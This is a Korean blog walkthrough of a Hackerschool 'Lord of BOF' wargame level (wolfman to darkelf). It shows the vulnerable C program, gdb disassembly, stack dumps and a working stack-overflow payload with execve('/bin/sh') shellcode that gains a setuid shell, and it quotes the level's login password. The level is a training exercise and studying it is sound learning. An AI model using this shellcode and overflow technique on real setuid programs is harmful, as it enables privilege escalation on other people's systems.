[lob] 해커스쿨 wolfman -> darkelf 풀이

l 해커스쿨 wolfman 풀이

실행 환경 : VMware Workstation Pro, Red Hat Linux 6.2

 

** 공부를 하면서 기록하는 내용이다 보니 틀린 내용이 있을 수도 있습니다. 틀린 부분이 있다면 댓글로 알려주시면 감사드리겠습니다. **


 

 

 

 

 

wolfman 문제의 아이디인   wolfman 와 password인   love eyuna 을 입력하여 wolfman의 유저로 접속합니다.

 

 

 

[wolfman@localhost wolfman]$ ls -l
total 20
-rwsr-sr-x    1 darkelf  darkelf     12655 Feb 26  2010 darkelf
-rw-r--r--    1 root     root          721 Mar 29  2010 darkelf.c

 

 

 

 ls -l  명령어를 사용하여 현재 위치( /home/wolfman ) 아래에 있는 디렉터리의 목록을 확인합니다.

목록들 중 darkelf.c파일을 읽어 어떤 식으로 문제를 풀어야 하는지 보도록 하겠습니다.

 

 

 

[wolfman@localhost wolfman]$ cat darkelf.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkelf
        - egghunter + buffer hunter + check length of argv[1]
*/

#include  <stdio.h>
#include  <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

 

 

 

cat 명령어를 사용하여 darkelf.c파일을 확인해본 결과 위의 코드와 힌트를 볼 수 있습니다.

주석에 BOF라고 쓰여 있는 것을 보니 버퍼오버플로우를 이용한 문제인 것 같습니다.

힌트 코드를 분석해보겠습니다.

1. argv는 2 이상이어야 합니다.

2. 환경 변수를 사용할 수 없습니다.

3. argv[1]의 48번째는 "\xbf"이어야 합니다.

4. argv[1]의 길이는 48 이하여야 합니다.

5. buffer의 공간을 사용할 수 없습니다.

 

 

 

[wolfman@localhost wolfman]$ cp darkelf wolfman
[wolfman@localhost wolfman]$ ls -l
total 36
-rwsr-sr-x    1 darkelf  darkelf     12655 Feb 26  2010 darkelf
-rw-r--r--    1 root     root          721 Mar 29  2010 darkelf.c
-rwsr-sr-x    1 wolfman  wolfman     12655 Jan 14 12:25 wolfman

 

 

 

문제를 풀기 전 퍼미션 문제 때문에 darkelf 파일을 복사해 wolfman이라는 이름의 파일을 하나 생성하였습니다.

 

 

 

[wolfman@localhost wolfman]$ gdb wolfman
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disas main
Dump of assembler code for function main:
0x8048500 <main>
:       push   %ebp 
0x8048501 <main+1>:     mov    %esp,%ebp
0x8048503 <main+3>:     sub    $0x2c,%esp
0x8048506 <main+6>:     cmpl   $0x1,0x8(%ebp)
0x804850a <main+10>:    jg     0x8048523 <main+35>
0x804850c <main+12>:    push   $0x8048670
0x8048511 <main+17>:    call   0x8048410  <printf>
0x8048516 <main+22>:    add    $0x4,%esp
0x8048519 <main+25>:    push   $0x0
0x804851b <main+27>:    call   0x8048420  <exit>
0x8048520 <main+32>:    add    $0x4,%esp
0x8048523 <main+35>:    nop
0x8048524 <main+36>:    movl   $0x0,0xffffffd4(%ebp)
0x804852b <main+43>:    nop
0x804852c <main+44>:    lea    0x0(%esi,1),%esi
0x8048530 <main+48>:    mov    0xffffffd4(%ebp),%eax
0x8048533 <main+51>:    lea    0x0(,%eax,4),%edx
0x804853a <main+58>:    mov    0x80497a4,%eax
0x804853f <main+63>:    cmpl   $0x0,(%eax,%edx,1)
0x8048543 <main+67>:    jne    0x8048547 <main+71>
0x8048545 <main+69>:    jmp    0x8048587 <main+135>
0x8048547 <main+71>:    mov    0xffffffd4(%ebp),%eax
0x804854a <main+74>:    lea    0x0(,%eax,4),%edx
0x8048551 <main+81>:    mov    0x80497a4,%eax
0x8048556 <main+86>:    mov    (%eax,%edx,1),%edx
0x8048559 <main+89>:    push   %edx
0x804855a <main+90>:    call   0x80483f0 
0x804855f <main+95>:    add    $0x4,%esp
0x8048562 <main+98>:    mov    %eax,%eax
0x8048564 <main+100>:   push   %eax
0x8048565 <main+101>:   push   $0x0
0x8048567 <main+103>:   mov    0xffffffd4(%ebp),%eax
0x804856a <main+106>:   lea    0x0(,%eax,4),%edx
0x8048571 <main+113>:   mov    0x80497a4,%eax
0x8048576 <main+118>:   mov    (%eax,%edx,1),%edx
0x8048579 <main+121>:   push   %edx
0x804857a <main+122>:   call   0x8048430  <strlen>
0x804857f <main+127>:   add    $0xc,%esp
0x8048582 <main+130>:   incl   0xffffffd4(%ebp)
0x8048585 <main+133>:   jmp    0x8048530 <main+48>
0x8048587 <main+135>:   mov    0xc(%ebp),%eax
0x804858a <main+138>:   add    $0x4,%eax
---Type  to continue, or q  to quit---
0x804858d <main+141>:   mov    (%eax),%edx
0x804858f <main+143>:   add    $0x2f,%edx
0x8048592 <main+146>:   cmpb   $0xbf,(%edx)
0x8048595 <main+149>:   je     0x80485b0 <main+176>
0x8048597 <main+151>:   push   $0x804867c
0x804859c <main+156>:   call   0x8048410  <printf>
0x80485a1 <main+161>:   add    $0x4,%esp
0x80485a4 <main+164>:   push   $0x0
0x80485a6 <main+166>:   call   0x8048420 <exit> 
0x80485ab <main+171>:   add    $0x4,%esp
0x80485ae <main+174>:   mov    %esi,%esi
0x80485b0 <main+176>:   mov    0xc(%ebp),%eax
0x80485b3 <main+179>:   add    $0x4,%eax
0x80485b6 <main+182>:   mov    (%eax),%edx
0x80485b8 <main+184>:   push   %edx
0x80485b9 <main+185>:   call   0x80483f0 <strlen> 
0x80485be <main+190>:   add    $0x4,%esp
0x80485c1 <main+193>:   mov    %eax,%eax
0x80485c3 <main+195>:   cmp    $0x30,%eax
0x80485c6 <main+198>:   jbe    0x80485e0 <main+224>
0x80485c8 <main+200>:   push   $0x8048699
0x80485cd <main+205>:   call   0x8048410  <printf>
0x80485d2 <main+210>:   add    $0x4,%esp
0x80485d5 <main+213>:   push   $0x0
0x80485d7 <main+215>:   call   0x8048420  <exit>
0x80485dc <main+220>:   add    $0x4,%esp
0x80485df <main+223>:   nop
0x80485e0 <main+224>:   mov    0xc(%ebp),%eax
0x80485e3 <main+227>:   add    $0x4,%eax
0x80485e6 <main+230>:   mov    (%eax),%edx
0x80485e8 <main+232>:   push   %edx
0x80485e9 <main+233>:   lea    0xffffffd8(%ebp),%eax
0x80485ec <main+236>:   push   %eax
0x80485ed <main+237>:   call   0x8048440  <strcpy>
0x80485f2 <main+242>:   add    $0x8,%esp
0x80485f5 <main+245>:   lea    0xffffffd8(%ebp),%eax
0x80485f8 <main+248>:   push   %eax
0x80485f9 <main+249>:   push   $0x80486b0
0x80485fe <main+254>:   call   0x8048410  <<printf>
0x8048603 <main+259>:   add    $0x8,%esp
0x8048606 <main+262>:   push   $0x28
0x8048608 <main+264>:   push   $0x0
0x804860a <main+266>:   lea    0xffffffd8(%ebp),%eax
---Type  to continue, or q  to quit---
0x804860d <main+269>:   push   %eax
0x804860e <main+270>:   call   0x8048430  <memset>
0x8048613 <main+275>:   add    $0xc,%esp
0x8048616 <main+278>:   leave
0x8048617 <main+279>:   ret
0x8048618 <main+280>:   nop
0x8048619 <main+281>:   nop
0x804861a <main+282>:   nop
0x804861b <main+283>:   nop
0x804861c <main+284>:   nop
0x804861d <main+285>:   nop
0x804861e <main+286>:   nop
0x804861f <main+287>:   nop
End of assembler dump.

 

 

 

wolfman 파일을 gdb로 분석해보도록 하겠습니다. 
disas main 명령을 통해 main의 어셈블리 코드를 보겠습니다. 우리는 여기서 빨간색 부분을 집중해 보도록 할 것입니다.

 

 

1. 0x8048503 <main+3>:     sub    $0x2c,%esp 

0x2c을 십진수로 변환하면 44입니다. 위의 코드는 스택에 44byte의 영역을 할당하는 것을 의미합니다.

 

 

2. 0x80485ed <main+237>:   call   0x8048440  <strcpy> 

darkelf.c 코드상에서 strcpy 부분을 보면 buffer에 argv[1]의 문자열을 대입하고 있습니다. 스택에 인자가 push 되는 순서는 argv[1]가 먼저 push 되고, 그다음 buffer가 push 됩니다. 따라서 <main + 233>의 ebp - [0xffffffd8의 2의 보수 취한 값]이 buffer의 시작 위치가 됩니다. 

 

011011000 => 00100111 => 00101000 = 8 + 32 = 40

buffer의 시작 지점이 esp - 40부터인 것을 알 수 있습니다. 

 

 

 

메모리 구조를 보면 아래와 같습니다.

 

 

 

buffer가 main함수에서 초기화되기 때문에 앞의 문제와 동일하게 argv[2]에 셸 코드를 넣어서 return을 argv[2]로 해주겠습니다.

 

 

 

(gdb) b *main+242
Breakpoint 1 at 0x80485f2
(gdb) r `python -c 'print "A"*47+"\xbf"'` `python -c 'print "B"*100'`
Starting program: /home/wolfman/wolfman `python -c 'print "A"*47+"\xbf"'` `python -c 'print "B"*100'`

Breakpoint 1, 0x80485f2 in main ()
(gdb) x/100x $esp
0xbffffa84:     0xbffffa90      0xbffffc0e      0x00000013      0x41414141
0xbffffa94:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffaa4:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffab4:     0x41414141      0x41414141      0xbf414141      0x00000000
0xbffffac4:     0xbffffb04      0xbffffb14      0x40013868      0x00000003
0xbffffad4:     0x08048450      0x00000000      0x08048471      0x08048500
0xbffffae4:     0x00000003      0xbffffb04      0x08048390      0x0804864c
0xbffffaf4:     0x4000ae60      0xbffffafc      0x40013e90      0x00000003
0xbffffb04:     0xbffffbf8      0xbffffc0e      0xbffffc3f      0x00000000
0xbffffb14:     0xbffffca4      0xbffffcc6      0xbffffcd0      0xbffffcde
0xbffffb24:     0xbffffcfd      0xbffffd0d      0xbffffd26      0xbffffd43
0xbffffb34:     0xbffffd4e      0xbffffd5c      0xbffffd9f      0xbffffdb2
0xbffffb44:     0xbffffdc7      0xbffffdd7      0xbffffde4      0xbffffe03
0xbffffb54:     0xbffffe0e      0xbffffe1b      0xbffffe23      0x00000000
0xbffffb64:     0x00000003      0x08048034      0x00000004      0x00000020
0xbffffb74:     0x00000005      0x00000006      0x00000006      0x00001000
0xbffffb84:     0x00000007      0x40000000      0x00000008      0x00000000
0xbffffb94:     0x00000009      0x08048450      0x0000000b      0x000001f9
0xbffffba4:     0x0000000c      0x000001f9      0x0000000d      0x000001f9
0xbffffbb4:     0x0000000e      0x000001f9      0x00000010      0x0f8bfbff
0xbffffbc4:     0x0000000f      0xbffffbf3      0x00000000      0x00000000
0xbffffbd4:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffbe4:     0x00000000      0x00000000      0x00000000      0x69000000
0xbffffbf4:     0x00363836      0x6d6f682f      0x6f772f65      0x616d666c
0xbffffc04:     0x6f772f6e      0x616d666c      0x4141006e      0x41414141
(gdb)
0xbffffc14:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffc24:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffc34:     0x41414141      0x41414141      0x4200bf41      0x42424242
0xbffffc44:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffffc54:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffffc64:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffffc74:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffffc84:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffffc94:     0x42424242      0x42424242      0x42424242      0x00424242
0xbffffca4:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffcb4:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffcc4:     0x00000000      0x00000000      0x00000000      0x00000000

 

 

 

 

argv[1]에는 "A" 47개와 \xbf를 넣어주었고, argv[2]에는 "B" 100개를 넣어주어 argv[2]의 시작 지점을 찾아보았습니다. 빨간색 부분이 argv[2]의 시작 위치이고,  0xbffffc3c 입니다.

 

 

페이로드를 구성해보겠습니다. buffer는 ebp - 40부터 시작되므로 buffer와 sfp까지 총 44byte를 \x90으로 채우고, return 부분을 argv[2]의 시작 주소로, argv[2]를 셸 코드로 채우면 될 것입니다.

 

 

 

| 페이로드

./darkelf `python -c 'print "\x90"*44+"\x3c\xfc\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

 

 

[wolfman@localhost wolfman]$ bash2
[wolfman@localhost wolfman]$ ./darkelf `python -c 'print "\x90"*44+"\x3c\xfc\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
<üÿ¿
bash$ id
uid=506(darkelf) gid=505(wolfman) egid=506(darkelf) groups=505(wolfman)
bash$ my-pass
euid = 506
kernel crashed

 

 

 

bash2를 입력 후 위의 페이로드를 넣어보니 uid가 darkelf으로 나오며 셸을 취득할 수 있었습니다. 셸 취득 후 my-pass를 입력하게 되면 darkelf user의 password를 알 수 있습니다.

 

 

 

 

l darkelf 비밀번호

더보기

euid = 506 
kernel crashed

 

이 글을 공유하기

댓글

Designed by JB FACTORY